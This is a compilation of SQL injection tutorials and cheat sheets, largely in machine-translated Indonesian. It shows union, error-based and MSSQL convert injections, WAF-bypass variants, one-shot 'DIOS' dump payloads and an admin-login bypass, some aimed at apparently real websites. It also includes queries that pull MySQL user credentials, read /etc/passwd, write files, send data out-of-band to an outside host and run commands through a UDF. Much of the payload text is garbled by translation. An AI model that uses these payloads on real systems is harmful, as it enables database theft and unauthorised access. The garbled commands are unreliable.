- ? id = -444 'UNION SELECT 1,2,3,4,5,6, Concat (' <font color = red> ', versi (), 0x3a,' <font color = green> ', database (), 0x3a, '<font color = blue>', pengguna ()), 8,9 - +
- Dan Lihat gambar semua Tugas Lengkap. Dengan cara ini Anda Juga Dapat Menampilkan Tabel dan Kolom dalam Warna yang berbeda.
- Setelah Menampilkan Perintah SQLi dalam Berbagai Warna.
- Sekarang, mari kita lihat bagaimana kita bisa menampilkan data ketika kolom rentan kita di halaman sumber atau di TiTLE menggunakan HTML TAGS.
- Ketika Kolom Rentan ada di Halaman Sumber.
- Concat (STARTING_HTML_TAG, OUR_QUERY, ENDING_HTML_TAG)
- jadi kami akan menggunakan TAG HTML ini untuk Menampilkan Data pada Halaman jika Kolom Rawan Kami ada di halaman Sumber.
- TAG HTML: Concat (<font size = "8" color = "red">, Versi (), </ font>)
- dan kadang-kadang Kolom Rentan kami ada di Judul sehingga dalam hal ini kami akan menggunakan Tag HTML ini untuk Mencetak Data di Halaman Web
- TAG HTML: Concat (</ title>, Version ())
- gunakan Tag HTML ini setelah pengkodean dalam Hex Value atau PUT Single Quote sebelum dan sesudah Tag HTML untuk membuat Query Executable.
- ©
- When you try to access server with your SQL WAF will stop you again. You might have more luck if WAF controls only GET requests and you inject with POST.
- SQLi Waf Behaviours
- union select 1,2,3,4-- - [<---WAF
- /*!union*/ select 1,2,3,4-- - [<--- No WAF
- /*!union*/ select 1,group_concat(),3,4-- - [<--NO -WAF
- /*!union*/ select 1,group_concat(table_name),3,4-- - [<---WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4-- - [<--- No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from -- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables-- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables where-- - [<---WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/-- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema-- - [<---No WAF
- /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema=database()-- - [<---No WAF
- -h
- Tools of Online Crytography
- HEADER AND POST DATA SQLI AND LOOKING DEEP INTO VULNERABLE SUCH AS XSS
- https://www.hurl.it/
- http://requestmaker.com/
- http://headers.cloxy.net/
- http://www.rexswain.com/
- http://www.cryptool-online.org/index.php?option=com_cto&view=tool&Itemid=139&lang=en
- Base 64
- enigmaco
- http://www.swingnote.com/tools/texttohex.php
- http://des.online-domain-tools.com/
- http://www.verexif.com/en/
- http://www.extractmetadata.com/
- http://metapicz.com/#landing
- https://www.google.co.kr/search?biw=1280&bih=617&q=cryptography+converter+online&oq=Cryptography+convert&gs_l=serp.1.1.0j0i22i30.2581.5076.0.7002.13.13.0.0.0.0.143.1345.5j8.13.0....0...1c.1.64.serp..0.13.1344.BK2uvc9iKTo
- Gematria Primus count: http://codeseekah.com/cicada/count.html
- http://www.unit-conversion.info/texttools/hexadecimal/
- XOR: http://md5decrypt.net/en/Xor/
- http://www.braingle.com/brainteasers/codes/index.php
- ASCII HEX DEC BIN converter: http://home.paulschou.net/tools/xlate/
- ASCI HEX DEC OCTAL converter: http://redir.dasumo.com/hex/
- Steganography software: http://www.jjtc.com/Steganography/tools.html
- https://www.base64-image.de/
- http://b64.io/
- https://xcode.darkbyte.ru/
- http://manytools.org/hacker-tools/steganography-encode-text-into-image/
- http://decodebase64.com/
- https://convertio.co/txt-jpg/
- Anagram solver: http://www.ssynth.co.uk/~gay/anagram.html
- Rumkin old ciphers: http://rumkin.com/tools/cipher/index.php
- PGP https://www.igolder.com/pgp/encryption/
- http://www.hanewin.net/encrypt/PGdecode.htm
- Exif:
- http://www.garykessler.net/library/fsc_stego.html
- AES, Salsa20, and Twofish
- http://www.gematrix.org/
- https://infotomb.com/m/welcome
- http://morsecode.scphillips.com/translator.html
- http://www.online-toolz.com/tools/text-encryption-decryption.php
- http://www.unit-conversion.info/texttools/morse-code/
- https://futureboy.us/stegano/
- -h
- BYPASSING ERROR
- Hmmm kita akan mulai dengan Injecting normal kami. Kami menemukan situs dari Google saat menyuntik dan rentan terhadap injeksi SQL.
- Pertama kita akan menghitung jumlah total kolom.
- http://www.TARGET.com/product.php?id=35 pesanan sebesar 5-- -
- Tidak Ada Kesalahan!
- http://www.TARGET.com/product.php?id=35 pesanan sebesar 6-- -
- Sekali lagi Situs dimuat Biasanya dan Tidak Ada Kesalahan!
- http://www.TARGET.com/product.php?id=35 pesanan sebesar 7-- -
- Sekarang Kita Punya Kesalahan di sini
- Kolom tidak dikenal '7' di 'pesanan klausa'
- Berarti Ada Total 6 Jumlah Kolom.
- Memungkinkan Jalankan UNION BASED Query kami.
- http://www.TARGET.com/product.php?id=35 dan 0 Union SELECT 1,2,3,4,5,6-- -
- Setelah mengeksekusi UNION BASED Query, kami Punya Kesalahan.
- Kesalahan fatal: Ukuran memori yang diizinkan sebesar 536870912 byte habis (mencoba mengalokasikan 534511572 byte) di /home/XXXX/public_html/cat_ver_producto.php pada baris 166
- Masalahnya adalah dengan Memori PHP Server. Kami Akan menggunakan Nilai NULL daripada menempatkan Kolom Nomor di sana untuk Memotong Server Penggunaan Memori PHP untuk Query SQL kami.
- Setelah Menempatkan nilai NULL, Kueri Kita Akan Jadi.
- http://www.TARGET.com/product.php?id=35 dan 0 Union SELECT null, null, null, null, null, null-- -
- Sekarang ERROR GONE !!
- Karena kami menggunakan Null Values, kami tidak tahu Kolom mana yang Rentan. Jadi untuk menemukan Kolom yang Rentan, Kita Berikan Perintah Versi () satu per satu di setiap Kolom sampai Memberi Kita Hasil Apapun.
- http://www.TARGET.com/product.php?id=35 dan 0 versi PILIH Union (), null, null, null, null, null-- -
- Setelah mengecek Kolom pertama selanjutnya Periksa Yang Lain dan kemudian Lain lagi sampai kami Mendapat Hasilnya. Dengan Cara Ini kami Akan Memeriksa Semua Kolom dan Akan Menemukan Kolom Yang Rentan.
- Ketika kami akan menemukan Kolom yang Rentan kami, maka kami dapat menempatkan Permintaan kami untuk Tabel dan Kolom di Kolom yang rentan itu.
- jika Anda Tidak Tahu Bagaimana Mendapatkan Tabel Dan Kolom Kemudian.
- -h
- Memotong Mix of Collations yang ilegal - Tutorial
- Dengan suntik pikiran
- Hanya 4 no0b seperti saya
- Dalam Tutorial ini Anda Akan Mempelajari Cara Melepaskan Campuran Kolasi ilegal.
- Mari kita mulai dengan injeksi SQL Reguler kami.
- Target kami.
- http://www.Site.com/detail.php?id=31
- Pertama kita harus Hitung Berapa Banyak Kolom yang dimilikinya.
- http://www.Site.com/detail.php?id=31 pesanan oleh 1-- -
- Tidak Ada Kesalahan!
- http://www.Site.com/detail.php?id=31 pesanan oleh 4-- -
- Tidak Ada Kesalahan!
- http://www.Site.com/detail.php?id=31 pesanan sebesar 6-- -
- Kami Punya Kesalahan Di Sini.
- Kolom Tidak Diketahui '6' di 'pesanan oleh'
- Memungkinkan Mengurangi Jumlah Kolom.
- http://www.Site.com/detail.php?id=31 pesanan sebesar 5-- -
- Tidak Ada Kesalahan!
- Ada 5 Kolom jadi ayo Siapkan UNION SELECT Command dan Cari Kolom yang Rentan.
- http://www.Site.com/detail.php?id=31 dan 0 Union Select 1,2,3,4,5-- -
- Kami Punya 2 dan 3.
- Mari mencoba untuk Dapatkan The Tables.
- http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, concat (table_name), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
- Ooops !! kami mendapat Kesalahan Di Sini.
- Campuran ilegal dari kolasi untuk operasi 'UNION'
- Berikut Beberapa Metode yang dapat kita gunakan untuk Melewatkan campuran ilegal dari pengumpulan untuk operasi 'UNION'
- .1 Menggunakan UNCOMPRESS (COMPRESS (our_query_here))
- http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, uncompress (kompres (concat (table_name))), 3,4,5 dari information_schema.tables di mana table_schema = database () - - -
- DIKECEPATAN !!
- .2 Menggunakan UNHEX (HEX (our_query_here))
- http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, unhex (hex (concat (table_name))), 3,4,5 dari information_schema.tables di mana table_schema = database () - - -
- DIKECEPATAN !!
- .3 Menggunakan CAST ()
- http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, cast (table_name sebagai binary), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
- DIKECEPATAN !!
- .4 Menggunakan CONVERT ()
- http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, konversikan (table_name menggunakan ascii), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
- DIKECEPATAN !!
- BEBERAPA METODE ADVANCE untuk CONVERT ()
- Dalam CONVERT () Fungsi jika ascii tidak berfungsi maka kita dapat menggunakan Fungsi ini sebagai ganti ascii.
- ujis
- ucs2
- tis620
- swe7
- sjis
- macroman
- macce
- latin7
- latin5
- latin2
- koi8u
- koi8r
- keybcs2
- hp8
- geostd8
- gbk
- gb2132
- armscii8
- ascii
- cp1250
- big5
- cp1251
- cp1256
- cp1257
- cp850
- cp852
- cp866
- cp932
- dec8
- euckr
- latin1
- Semoga ini akan membantu Anda di masa depan
- Terima kasih untuk saudara tutorialnya: *
- -h
- filtered Requested
- # tables #
- group_concat(/*!table_name*/)
- +/*!froM*/ /*!InfORmaTion_scHema*/.tAblES– -
- or
- /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()– -
- or
- /*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()– -
- Union Select bypass
- &id=10 %26%26 NULL union/**/DistinctRow select 1,2-- -
- &id=@ Or 1<0 union/**/DistinctRow select 1,2-- -
- &id=@<0union/**/DistinctRow select 1,2-- -
- QUERY RESUME ? :D
- Version:
- SELECT VERSION()
- SELECT @@version
- SELECT @@version_comment
- SELECT @@version_compile_machine
- SELECT @@version_compile_os
- Directories:
- SELECT @@basedir
- SELECT @@tmpdir
- SELECT @@datadir
- Users:
- SELECT USER()
- SELECT SYSTEM_USER()
- SELECT SESSION_USER()
- SELECT CURRENT_USER()
- Current Database:
- SELECT DATABASE()
- Concatenation:
- SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
- SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Retu
- Multi-Concat:
- #Stacks the row "foo" from the table "bar" together, using the separa
- #Note: This operation can by default only grab 1024 bytes, and do no
- #The 1024 byte limit is stored in the @@group_concat_max_len variabl
- SELECT GROUP_CONCAT(foo SEPARATOR '<br />') FROM bar
- Better-Concat:
- #CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROU
- #Which therefor allows you to concat strings together up to the @@ma
- #instead of @@group_concat_max_len. The default value for @@max_allo
- #1048576 bytes, instead of @@group_concat_max_len's 1024.
- SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name
- Change Collation:
- SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from
- SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.
- Wildcards in SELECT(s):
- SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) st
- SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) en
- Regular Expression in SELECT(s):
- #Returns all columns matching the regular expression.
- SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'
- SELECT Without Dublicates:
- SELECT DISTINCT foo FROM bar
- Counting Columns:
- SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from t
- Get Amount of MySQL Users:
- SELECT COUNT(user) FROM mysql.user
- Get MySQL Users:
- SELECT user FROM mysql.user
- Get MySQL User Privileges:
- SELECT grantee,privilege_type,is_grantable FROM information_schema.us
- Get MySQL User Privileges on Different Databases:
- SELECT grantee,table_schema,privilege_type FROM information_schema.sc
- Get MySQL User Privileges on Different Columns:
- SELECT table_schema,table_name,column_name,privilege_type FROM infor
- Get MySQL User Credentials & Privileges:
- SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Upd
- Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
- File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_p
- Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_
- Repl_client_priv) FROM mysql.user
- Get MySQL DBA Accounts:
- SELECT grantee,privilege_type,is_grantable FROM information_schema.us
- SELECT host,user FROM mysql.user WHERE Super_priv='Y'
- Get Databases:
- SELECT schema_name FROM information_schema.schemata
- SELECT DISTINCT db FROM mysql.db
- SELECT DISTINCT table_schema FROM information_schema.columns
- SELECT DISTINCT table_schema FROM information_schema.tables
- Get Databases & Tables:
- SELECT table_schema,table_name FROM information_schema.tables
- SELECT DISTINCT table_schema,table_name FROM information_schema.colu
- Get Databases, Tables & Columns:
- SELECT table_schema,table_name,column_name FROM information_schema.c
- SELECT A Certain Row:
- SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
- SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
- ...
- SELECT foo FROM bar LIMIT N,1; #Returns row N.
- Benchmark (Heavy Query):
- #Performs an MD5 calculation of "1" for 10000 times.
- SELECT BENCHMARK(10000,MD5(1))
- Sleep:
- #Works only in MySQL 5 and above.
- #Sleeps for 5 seconds, returns 0 on success.
- SELECT SLEEP(5)
- Conversion (Casting):
- SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
- SELECT CAST('65' AS CHAR); #Returns: A
- Substring:
- SELECT SUBSTR('foobar',1,3); #Returns: foo
- Hexadecimal Evasion:
- SELECT 0x41424344; #Returns: ABCD
- SELECT 0x2E; #Returns: .
- SELECT 0x3A; #Returns: :
- ASCII to Number:
- SELECT ASCII('A'); #Returns: 65
- Number to ASCII:
- SELECT CHAR(65); #Returns: A
- SELECT CHAR(89); #Returns: Y
- SELECT CHAR(116,101,115,116); #Returns: test
- If Statement:
- #Returns 1 if the database is running MySQL 5.
- SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);
- #Returns 1 if the database is running MySQL 4.
- SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);
- Case Statement:
- #Returns 1 if the database is running MySQL 5.
- SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END
- #Returns 1 if the database is running MySQL 4.
- SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END
- Read File(s):
- #Requires you to have the File_priv in mysql.user. On error this stat
- SELECT LOAD_FILE('/etc/passwd')
- Write File(s):
- #You must use quotes on the filename!
- SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
- SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hel
- Logical Operator(s):
- AND, &&; #The AND operator have && as an alternative syntax.
- OR, ||; #The OR operator have || as an alternative syntax.
- NOT, !; #The NOT operator have ! as an alternative syntax.
- XOR; #The XOR operator got no alternative syntax.
- Fuzzy Code Comment:
- #Code within /*! are getting executed by MySQL. Additional /*! can be
- SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/
- Comments:
- SELECT foo, bar FROM foo.bar-- Single line comment
- SELECT foo, bar FROM foo.bar/* Multi line comment */
- SELECT foo, bar FROM foo.bar# Single line comment
- SELECT foo, bar FROM foo.bar;%00 Batched query with additional NULL-
- A few evasions/methods to use between your MySQL statements:
- CR (%0D); #Carrier Return.
- LF (%0A); #Line Feed.
- Tab (%09); #The Tab-key.
- Space (%20); #Most commonly used. You know what a space is.
- Multiline Comment (/**/); #Well, as the name says.
- Fuzzy Comment (/*!); #Be sure to end your query with (*/)
- Parenthesis, ( and ); #Can also be used as separators when used right
- Parenthesis instead of space:
- #As said two lines above, the use of parenthesis can be used as a sep
- SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))
- Auto-Casting to Right Collation:
- SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s)
- DNS Requests (OOB (Out-Of-Band)):
- #For more information check this.
- SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_a
- Command Execution:
- #If you're on a MySQL 4.X server, it's possible to execute OS comman
- #It can be done if you're able to upload a shared object into /usr/
- #The file extension is .so, and it must contain an "User Defined Fun
- #Get raptor_udf.c, it's the source-code for just that feature.
- #Remember to compile it for the right CPU Architecture.
- #The CPU architecture can be resolved by this query:
- SELECT @@version_machine;
- <blockquote>A couple of useful blind queries to fingerprint the data
- All of these return either True or False, as in, you either get a res
- SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53;
- SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52
- Running as root:
- SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=U
- Got File_priv:
- SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user
- (CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
- (CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
- (CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
- LIMIT 0,1)=CHAR(89),1,0)=1
- Got Super_priv (Are we DBA):
- SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql
- (CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
- (CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
- (CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
- LIMIT 0,1)=CHAR(89),1,0)=1
- Can MySQL Sleep:
- #This query will return True and should take above 1 second to execut
- SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1
- Can MySQL Benchmark:
- SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1
- Are we on *NIX:
- SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47
- Are we on Windows:
- SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=
- Do a certain column exist:
- SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information
- Do a certain table exist:
- SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
- SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
- Do a certain database exist:
- SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
- SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
- SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information
- SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db
- from:h.ackack(dot)net
- Credits to owner :*
- thanks
- INJEKSI MSSQL MENGGUNAKAN KONVERSI
- Kita mendapat target dan mari kita periksa apakah itu Rentan untuk disuntikkan. Jadi kita akan Jalankan URL dengan Menambahkan Kutipan Tunggal "'" di Akhir Jika Parameter Target.
- http://www.Vuln-Site.com/authorprofile.asp?id=46 '
- Ini Memberi Kita Kesalahan
- KESALAHAN:
- Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e14'
- [Microsoft] [ODBC SQL Server Driver] [SQL Server] Tanda kutip uncomposed setelah string karakter ''.
- /authorprofile.asp, baris 10
- Situs Target kami adalah Rentan. Seperti kita Suntik dengan Serangan Konversikan Jadi kita tidak perlu Pergi Untuk Menghitung Jumlah Kolom Total. Kami akan langsung mengeksekusi Perintah kami dengan Konversi.
- Mari Periksa Versi.
- http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, @@ version) -
- Setelah Melaksanakan Permintaan Kami Mendapat Versi.
- Berikut ini adalah Versi: Microsoft SQL Server 2012 - 11.0.5582.0 (X64) Feb 27 2015 18:10:15 Hak cipta (c) Microsoft Corporation Web Edition (64-bit) pada Windows NT 6.1 <X64> (Build 7601: Paket Layanan 1 )
- Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
- [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal saat mengkonversi nilai nvarchar 'Microsoft SQL Server 2012 - 11.0.5582.0 (X64) Feb 27 2015 18:10:15 Hak Cipta (c) Microsoft Corporation Web Edition (64 -bit) pada Windows NT 6.1 <X64> (Build 7601: Service Pack 1) 'ke tipe data int.
- /authorprofile.asp, baris 10
- Sekarang, mari kita periksa nama database saat ini.
- http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, db_name ()) -
- Dan kami sudah mendapat nama database saat ini.
- Ini adalah Nama Database Saat Ini: museindia
- Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
- [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'museindia' ke tipe data int.
- /authorprofile.asp, baris 10
- Seperti yang telah kita dapatkan Versi dan nama Database. Sekarang, mari kita pindah ke Getting The Tables.
- Ini adalah pertanyaan kami untuk mendapatkan tabel.
- http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables)) - +
- Setelah Melaksanakan Kueri, Kita Mendapat Nama Tabel Pertama.
- Nama tabel: tentang
- Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
- [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'about' ke int tipe data.
- /authorprofile.asp, baris 10
- Untuk Mendapatkan Tabel Lain dari Database, kita akan menambahkan nama Tabel Sebelumnya Terlampir Dengan Kutipan Tunggal dengan Tanda Kecil.
- Sebagai contoh:
- dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('OUR_PREVIOUS_TABLE_NAME_1', 'OUR_PREVIOUS_TABLE_NAME_2'))) - +
- Jadi Mari Periksa Tabel Lainnya dari Basis Data.
- http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('about'))) - +
- Dan Kami Punya Nama Meja Berikutnya.
- Nama Tabel Berikutnya: aucon
- Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
- [Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'aucon' ke tipe data int.
- /authorprofile.asp, baris 10
- Dengan cara ini kita akan Terus Mendapatkan tabel Lainnya sampai mendapatkan Tabel yang Diperlukan.
- Di sini kita Mendapat nama Tabel: anggota
- Sekarang mari Dapatkan nama Kolom dari Tabel ini.
- http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'members')) - +
- kami telah mendapat nama Kolom Pertama.
- Ini adalah First Column Name: memberid
- Mari mencoba mendapatkan Kolom lainnya seperti yang kita lakukan untuk mendapatkan tabel lain dari database.
- http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'members' dan column_name tidak di ('memberid') )) - +
- Jadi Setelah Mendapatkan nama Kolom Bagian Terakhir adalah Untuk Mengekstrak Data dari Kolom.
- Ini akan menjadi Pertanyaan Akhir Kita!
- http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, (pilih top 1 OUR_COLUMN_NAME _DI SINI dari OUR_TABLE_NAME_HERE)) - +
- Kueri ini akan Mencetak Data dari Kolom di WebPage.
- -h
- Mem-bypass Login Panel dengan SQL Queries
- http://trentglobal.com/admin
- Kita dapat menggunakan Live HTTP Headers atau Hackbar untuk Post Parameters Injection jadi saya akan Menggunakan Hackbar Untuk Proses ini.
- Sekarang Mari Sisipkan Beberapa Teks dalam kotak nama pengguna dan kata sandi. Setelah Memasukkan Teks Klik pada Tombol LOGIN. Kemudian Aktifkan Data Posting di Hackbar untuk Pelaksanaan Parameter Posting Kita.
- Sekarang Klik LOAD URL Button di Hackbar untuk mendapatkan Parameter POST dalam kotak POST DATA di Hackbar Addon. Di sana kami akan memberikan pertanyaan SQL Injection.
- Ini memberi kami Nama Pengguna dan Kata Sandi yang tidak valid tetapi Anda dapat Melihat Data Pos di Addon Peretasan.
- Berikut adalah Parameter Posting Kami uname = harhar & pwd = 123456 & log_submit = Login
- ayo tambahkan Single Quote setelah uname = harhar 'untuk memeriksa kerentanan SQLi. Dan kemudian Execute the Query.
- Ini Rawan terhadap SQL Injection. Selanjutnya kita akan mengeksekusi Query SQL Berbasis STRING untuk Penyuntikan Lebih Lanjut.
- Sekarang Mari Hitung berapa Banyak Kolom yang ada.
- Jadi Kami akan Berikan Perintah Kami Untuk menghitung Kolom di Parameter Pasca dengan Hackbar.
- order uname = harharharhar sebesar 2% 23
- No Error !!
- uname = 'pesanan sebesar 3% 23
- No Error !!
- order uname = harhar 'sebesar 4% 23
- No Error !!
- uname = 'pesanan sebesar 5% 23
- Kami Punya Kesalahan !! Kolom tidak dikenal '5' di 'klausa pesanan'
- Berarti Ada 4 Jumlah Kolom Total.
- Hmmm Sekarang Mari Jalankan perintah UNION SELECT kami dengan 4 jumlah Kolom.
- BinGOOOO !! Panel Admin Dilewati. Kita sudah mendapat Akses ke Panel Admin Tanpa menggunakan Nama Pengguna atau Kata Sandi dari pengguna Admin.
- -h
- Playing with DIOS #1
- task & rules
- ¤display version with your name
- ¤display count how many column names start with characters id_
- ¤display list of columns (with their database and table name) where column names start with characters id_
- Solution:
- http:p//vuln.net/produit.ph p?id=55 and 0 UNION%0aSELECT 1,2,3,concat(0x3c2f7469746c653e,version(),0x203a3a2050682e683472683472,0x3c42523e,0x6e756d626572206f6620636f6c756d6e73207374617274696e6720776974682069645f2069733a20,count(*),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and((column_name)like(0x69645f25))and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name))))x),0x3c7469746c653e),5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23 from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f73 6368656d61)and(column_name)like(0x69645f25)--
- ©MasterAjkaro
- -h
- Playing with DIOS #2
- Task & rules
- ¤display version with your name
- ¤display total number of databases
- ¤display total number of tables (without those in information_schema)
- ¤display all table names (excluding those from information_schema) and columns count for each table
- solution......
- http://www.vuln.fr/pages /produit.php?id=55 and 0 UNION SELECT 1,2,3,4,5,6,7,8,9,concat(0x3c62723e,version(),0x3a3a2050682e683472683472,0x3c62723e746f74616c206e756d626572206f66206461746162617365733a20,(select count(*) %0Afrom information_schema.schemata),
- 0x3c62723e746f74616c206e756d626572206f66207461626c657320696e206461746162617365732028776974686f757420696e666f726d6174696f6e5f736368656d61293a20,(select count(*) %0afrom information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61),
- (select(@x)%0afrom(select(@x:=0x00),(select(0)%0afrom(information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in
- (@x:=concat(@x,0x3c62723e,0x7461626c653a20,@tbl:=table_name,
- 0x202d2d3e20636f6c756d6e733a20,(select(count(*))%0Afrom(information_schema.columns)where(table_name=@tbl))x)
- ),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46-- -
- ©Master Akjkaro
- ~h
- Playing with DIOS #3
- Task & rules
- ¤display version with your name
- ¤display all tables in primary database with records count for each table
- solution....
- http://www.vuln.com /product.php?c=11) and 0 UNION SELECT 1,concat
- (version(),0x50682e683472683472,(select (@x) from (select (@x:=0x00),(select(0)from(information_schema.tables)where(table_schema=database()) and (0x00) in
- (@x:=concat(@x,0x3c62723e,@tbl:=table_name,0x202d2d3e207265636f72647320696e207461626c653a20,(select table_rows from information_schema.tables where table_schema=Database() and table_name=@tbl))x)),3,4,5,6,7,8
- ©Master Ajkaro
- -h
- MSSQL DIOS
- ¤1¤
- ==========================
- http://www.aiou.edu.pk/Programmes.asp?PID=74;begin declare @x varchar(8000),@y int,@z varchar(50),@a varchar(100) declare @myTbl table (name varchar(8000) not null)SET @y=1 SET @x='injected by Me :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl)select @a=@a %2b column_name%2b' : '
- from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2bCHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%
- 2b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)SET @y = @y%2b1 end select @x as output into diosku END--
- ¤2¤
- ==========================
